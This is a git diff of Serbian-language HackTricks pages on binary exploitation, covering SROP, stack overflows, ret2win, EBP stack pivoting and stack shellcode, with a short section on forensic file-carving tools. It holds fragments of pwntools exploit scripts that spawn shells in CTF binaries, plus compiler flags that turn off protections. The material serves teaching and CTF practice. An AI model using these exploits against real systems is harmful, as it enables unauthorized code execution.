> Pozivanje syscall-a **`sigreturn`** iz ROP lanca i **dodavanje registarskih vrednosti** koje želimo da učitamo u **stek** omogućava nam da **kontrolišemo** sve registarske vrednosti i stoga **pozovemo** na primer syscall `execve` sa `/bin/sh`.
Napomena kako bi ovo bila **vrsta Ret2syscall** koja olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:
Obratite pažnju na to kako bi ovo bila **vrsta Ret2syscall** koja olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:
{{#ref}}
../rop-syscall-execv/
@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
## Primer
Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde je poziv na signeturn konstruisan putem ROP (stavljajući u rxa vrednost `0xf`), iako je ovo konačni exploit odatle:
Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde se poziv na signeturn konstruira putem ROP (stavljajući u rxa vrednost `0xf`), iako je ovo konačni exploit odatle:
```python
from pwn import *
@ -90,7 +90,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Proverite takođe [**eksploit ovde**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) gde je binarni fajl već pozivao `sigreturn` i stoga nije potrebno to graditi sa **ROP**:
Proverite takođe [**eksploit odavde**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) gde je binarni program već pozivao `sigreturn` i stoga nije potrebno to graditi sa **ROP**:
```python
from pwn import *
@ -128,13 +128,13 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture i pročitati flag koji se nalazi unutar memorije binarnog programa.
- Assembly binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/index.html) putem **sigreturn** strukture i pročitati flag koji se nalazi unutar memorije binarnog programa.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture (binarni program sadrži string `/bin/sh`).
- Assembly binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/index.html) putem **sigreturn** strukture (binarni program sadrži string `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bita, bez relro, bez kanarinca, nx, bez pie. Jednostavna buffer overflow napada koristeći `gets` funkciju sa nedostatkom gadgeta koji izvršava [**ret2syscall**](../rop-syscall-execv/). ROP lanac piše `/bin/sh` u `.bss` ponovnim pozivanjem gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell.
- 64 bita, bez relro, bez kanarija, nx, bez pie. Jednostavna buffer overflow koja zloupotrebljava `gets` funkciju sa nedostatkom gadgeta koji izvršava [**ret2syscall**](../rop-syscall-execv/index.html). ROP lanac piše `/bin/sh` u `.bss` ponovnim pozivanjem gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bita assembly program, bez relro, bez kanarinca, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva `exit`. Izabrani syscall je `sigreturn` koji će postaviti registre i pomeriti `eip` da pozove prethodnu syscall instrukciju i izvrši `memprotect` da postavi binarni prostor na `rwx` i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je.
- 64 bita assembly program, bez relro, bez kanarija, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva `exit`. Izabrani syscall je `sigreturn` koji će postaviti registre i premestiti `eip` da pozove prethodnu syscall instrukciju i izvrši `memprotect` da postavi binarni prostor na `rwx` i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP se koristi za davanje privilegija izvršavanja (memprotect) mestu gde je shellcode postavljen.

View File

@ -6,11 +6,11 @@
A **stack overflow** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je dodeljeno da drži. Ovi viškovi podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica na ulazu.
Glavni problem ovog prepisivanja je što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani osnovni pokazivač (EBP/RBP)** za vraćanje na prethodnu funkciju **smešteni na steku**. Stoga, napadač će moći da prepiše te pokazivače i **kontroliše tok izvršavanja programa**.
Glavni problem ovog prepisivanja je to što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani osnovni pokazivač (EBP/RBP)** za vraćanje na prethodnu funkciju **smešteni na steku**. Stoga, napadač će moći da prepiše te vrednosti i **kontroliše tok izvršavanja programa**.
Ranjivost obično nastaje jer funkcija **kopira više bajtova unutar steka nego što je dodeljeno za nju**, čime može da prepiše druge delove steka.
Neke uobičajene funkcije ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije kao što su **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene.
Neke uobičajene funkcije koje su ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije kao što su **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene.
Na primer, sledeće funkcije bi mogle biti ranjive:
```c
@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
Najčešći način za pronalaženje stack overflow-a je davanje veoma velikog unosa `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **adresu `0x41414141` pokušano pristupiti**.
Štaviše, kada pronađete da postoji ranjivost na Stack Overflow, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine \_n**\_\*\* pojavljuje tačno jednom\*\* kao kontigenta podsekvenca.
Pored toga, kada pronađete da postoji ranjivost Stack Overflow, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine \_n**\_\*\* pojavljuje tačno jednom\*\* kao kontiguitetna podsekvenca.
Na ovaj način, umesto da ručno otkrivate koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao punjenje jednu od ovih sekvenci i zatim pronaći offset bajtova koji su završili prepisivanje.
@ -41,23 +41,23 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
или **GEF**:
ili **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Iskorišćavanje Stack Overflows
## Iskorišćavanje Stack Overflow-a
Tokom prelivanja (pretpostavljajući da je veličina prelivanja dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka sve dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
Najčešći način zloupotrebe ove vrste ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovoj pokazivaču.
Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka sve dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
Najčešći način zloupotrebe ove vrste ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovom pokazivaču.
Međutim, u drugim scenarijima možda će samo **prepisivanje nekih vrednosti promenljivih u steku** biti dovoljno za eksploataciju (kao u lakim CTF izazovima).
### Ret2win
U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično [**ASLR**](../common-binary-protections-and-bypasses/aslr/) će biti onemogućen) tako da kada ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) će biti onemogućen) tako da kada ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
{{#ref}}
ret2win/
@ -81,7 +81,7 @@ Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike:
## Heap Overflows
Prelivanje se ne mora uvek dešavati u steku, može se takođe desiti u **heap-u** na primer:
Overflow ne mora uvek biti u steku, može biti i u **heap-u** na primer:
{{#ref}}
../libc-heap/heap-overflow.md

View File

@ -4,7 +4,7 @@
## Osnovne informacije
**Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu da se izvrši određena, nepozvana funkcija unutar binarnog fajla, često nazvana nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
**Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu kako bi se izvršila određena, neinvokirana funkcija unutar binarnog fajla, koja se često naziva nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
### C primer
@ -31,11 +31,11 @@ Da biste kompajlirali ovaj program bez zaštite steka i sa **ASLR** onemogućeni
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Kompajlirajte program kao 32-bitni binarni (ovo je opcionalno, ali uobičajeno u CTF izazovima).
- `-m32`: Kompajlirajte program kao 32-bitni binarni fajl (ovo je opcionalno, ali uobičajeno u CTF izazovima).
- `-fno-stack-protector`: Onemogućite zaštitu od prelivanja steka.
- `-z execstack`: Dozvolite izvršavanje koda na steku.
- `-no-pie`: Onemogućite poziciono nezavisne izvršne datoteke kako biste osigurali da se adresa funkcije `win` ne menja.
- `-o vulnerable`: Imenovati izlaznu datoteku `vulnerable`.
- `-no-pie`: Onemogućite poziciono nezavisne izvršne fajlove kako biste osigurali da se adresa funkcije `win` ne menja.
- `-o vulnerable`: Imenovati izlazni fajl `vulnerable`.
### Python Exploit koristeći Pwntools
@ -69,8 +69,8 @@ Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od str
## Zaštite
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **treba da bude onemogućena** kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje je `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šanse** (1 nibble) da dobijete ispravnu adresu povratka.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućene ili kompromitovana EIP adresa povratka nikada neće biti praćena.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje je `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šansa** (1 nibble) da dobijete ispravnu adresu povratka.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
## Ostali primeri & Reference

View File

@ -12,40 +12,40 @@ mov ebp, esp
pop ebp
ret
```
I kao što je **EBP u steku** pre EIP-a, moguće je kontrolisati ga kontrolišući stek.
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret
Ova tehnika je posebno korisna kada možete **promeniti EBP registar, ali nemate direktan način da promenite EIP registar**. Ona koristi ponašanje funkcija kada završe izvršavanje.
Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efektivno ga usmeravajući na adresu koju je napadač postavio tamo.**\
Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo.**\
Obratite pažnju da **morate znati 2 adrese**: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.
#### Konstrukcija Eksploita
#### Exploit Construction
Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**.
Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiće prvi `ret`**.
Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti:
- Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
- Adresu **`system()`** praćenu **4 junk bajta** i adresu `"/bin/sh"` (x86 bitovi).
- Adresu **`system()`** praćenu sa **4 junk bajta** i adresom `"/bin/sh"` (x86 bitovi).
- Adresu **`jump esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu **shellcode-om** koji treba izvršiti.
- Neki [**ROP**](../rop-return-oriented-programing/) lanac.
- Neki [**ROP**](../rop-return-oriented-programing/index.html) lanac.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće zloupotrebiti ovih 4B da postavite **drugi lažni EBP** i nastavite sa kontrolisanjem izvršavanja.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće iskoristiti ovih 4B da postavite **drugi lažni EBP** i nastavite sa kontrolisanjem izvršavanja.
#### Off-By-One Eksploit
#### Off-By-One Exploit
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Eksploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožim uslovima.\
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa više ograničenim uslovima.\
Obično se modifikuje bajt 0x00 da skoči što je dalje moguće.
Takođe, uobičajeno je koristiti RET sled u steku i staviti pravi ROP lanac na kraj kako bi se povećala verovatnoća da novi ESP pokazuje unutar RET SLED-a i da se konačni ROP lanac izvrši.
### **EBP Lanci**
### **EBP Chaining**
Dakle, postavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **premestiti `ESP` na kontrolisanu `EBP` adresu iz steka**.
Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to zloupotrebili, moguće je staviti na kontrolisano mesto ESP ovo:
Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to iskoristili, moguće je staviti na kontrolisano mesto ESP ovo:
- **`&(next fake EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije
- **`system()`** -> Pozvan od strane `ret`
@ -54,7 +54,7 @@ Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukc
U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-a kako bi se kontrolisao tok programa.
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
```python
@ -94,7 +94,7 @@ print(p.recvline())
```
## EBP možda neće biti korišćen
Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koja eksploatacija koja funkcioniše kontrolom EBP će u suštini propasti jer nema stvarni efekat.\
Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u osnovi propasti jer nema stvarni efekat.\
To je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan.
- **Nije optimizovan:**
@ -188,11 +188,11 @@ Proverite ret2esp tehniku ovde:
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bita, bez relro, kanarinca, nx i pie. Program omogućava leak za stack ili pie i WWW za qword. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovo "večito" pisanje, napisano je ROP lanac u .bss i završava pozivajući ga pivotovanjem sa RBP.
- 64 bita, bez relro, kanarinca, nx i pie. Program omogućava leak za stack ili pie i WWW za qword. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovu "večnu" pisanje, upisuje se ROP lanac u .bss i završava pozivajući ga pivotovanjem sa RBP.
## ARM64
U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u stacku. Štaviše, **`RET`** instrukcija ne vraća se na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u stacku. Štaviše, **`RET`** instrukcija ne vraća na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
Stoga, po defaultu, samo zloupotrebljavajući epilog **nećete moći da kontrolišete SP registar** prepisivanjem nekih podataka unutar stacka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar.

View File

@ -33,9 +33,9 @@ Da biste kompajlirali ovaj program dok onemogućavate razne zaštite (da simulir
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Onemogućava zaštitu steka.
- `-z execstack`: Čini stek izvršnim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
- `-no-pie`: Onemogućava Position Independent Executable, olakšavajući predviđanje memorijske adrese na kojoj će se nalaziti naš shellcode.
- `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćen za jednostavnost u razvoju eksploata.
- `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
- `-no-pie`: Onemogućava poziciono nezavisne izvršne datoteke, olakšavajući predviđanje memorijske adrese na kojoj će se nalaziti naš shellcode.
- `-m32`: Kompajlira program kao 32-bitnu izvršnu datoteku, često korišćenu zbog jednostavnosti u razvoju eksploata.
### Python Exploit using Pwntools
@ -70,22 +70,22 @@ Ovaj skript konstruira payload koji se sastoji od **NOP slide**, **shellcode**,
**NOP slide** (`asm('nop')`) se koristi za povećanje šanse da će izvršenje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Prilagodite `p32()` argument na početnu adresu vašeg bafera plus pomeraj da biste sleteli u NOP slide.
## Zaštite
## Protekcije
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućene ili prepisana EIP adresa za povratak nikada neće biti praćena.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe treba da budu onemogućeni ili prepisana EIP adresa za povratak nikada neće biti praćena.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršenje shellcode unutar steka jer ta oblast neće biti izvršna.
## Ostali Primeri & Reference
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR sa leak-om adrese steka, napiši shellcode i skoči na njega
- 64bit, ASLR sa leak-om adrese steka, upisivanje shellcode i skakanje na njega
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR sa leak-om steka, napiši shellcode i skoči na njega
- 32 bit, ASLR sa leak-om steka, upisivanje shellcode i skakanje na njega
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR sa leak-om steka, poređenje da se spreči poziv na exit(), prepiši promenljivu sa vrednošću i napiši shellcode i skoči na njega
- 32 bit, ASLR sa leak-om steka, poređenje da se spreči poziv na exit(), prepisivanje promenljive sa vrednošću i upisivanje shellcode i skakanje na njega
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, bez ASLR, ROP gadget za izvršavanje steka i skakanje na shellcode u steku
- arm64, bez ASLR, ROP gadget za omogućavanje izvršenja steka i skakanje na shellcode u steku
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@ Najčešće korišćen alat u forenzici za ekstrakciju fajlova iz slika je [**Au
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** je alat za analizu binarnih fajlova radi pronalaženja ugrađenog sadržaja. Može se instalirati putem `apt`, a njegov izvor je na [GitHub](https://github.com/ReFirmLabs/binwalk).
**Binwalk** je alat za analizu binarnih fajlova kako bi se pronašao ugrađeni sadržaj. Može se instalirati putem `apt`, a njegov izvor je na [GitHub](https://github.com/ReFirmLabs/binwalk).
**Korisne komande**:
```bash
@ -31,7 +31,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da odkomentarišete tipove datoteka iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) koje želite da ekstraktujete.
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da otkomentarišete tipove datoteka iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) koje želite da ekstraktujete.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -44,7 +44,7 @@ Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **mrežne inform
```
bulk_extractor memory.img -o out_folder
```
Navigirajte kroz **sve informacije** koje je alat prikupio (lozinke?), **analizirajte** **pakete** (pročitajte [**analizu Pcaps**](../pcap-inspection/)), pretražujte **čudne domene** (domene povezane sa **malverom** ili **nepostojećim**).
Navigirajte kroz **sve informacije** koje je alat prikupio (lozinke?), **analizirajte** **pakete** (pročitajte [**Pcaps analiza**](../pcap-inspection/index.html)), pretražujte **čudne domene** (domene povezane sa **malverom** ili **nepostojećim**).
### PhotoRec
@ -61,13 +61,13 @@ Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata
#### Karakteristike BinVis
- Vizuelni i aktivni **pregledač strukture**
- Više grafika za različite tačke fokusa
- Više grafova za različite tačke fokusa
- Fokusiranje na delove uzorka
- **Prikazivanje stringova i resursa**, u PE ili ELF izvršnim datotekama npr.
- Dobijanje **šablona** za kriptoanalizu na fajlovima
- Dobijanje **šablona** za kriptoanalizu fajlova
- **Prepoznavanje** pakera ili enkodera
- **Identifikacija** steganografije po šablonima
- **Vizuelno** binarno upoređivanje
- **Vizuelno** binarno poređenje
BinVis je odlična **polazna tačka za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije.

View File

@ -4,12 +4,11 @@
## Autopsy
Najčešći alat korišćen u forenzici za ekstrakciju fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte i omogućite mu da obradi fajl kako bi pronašao "sakrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i jednostavne fajlove.
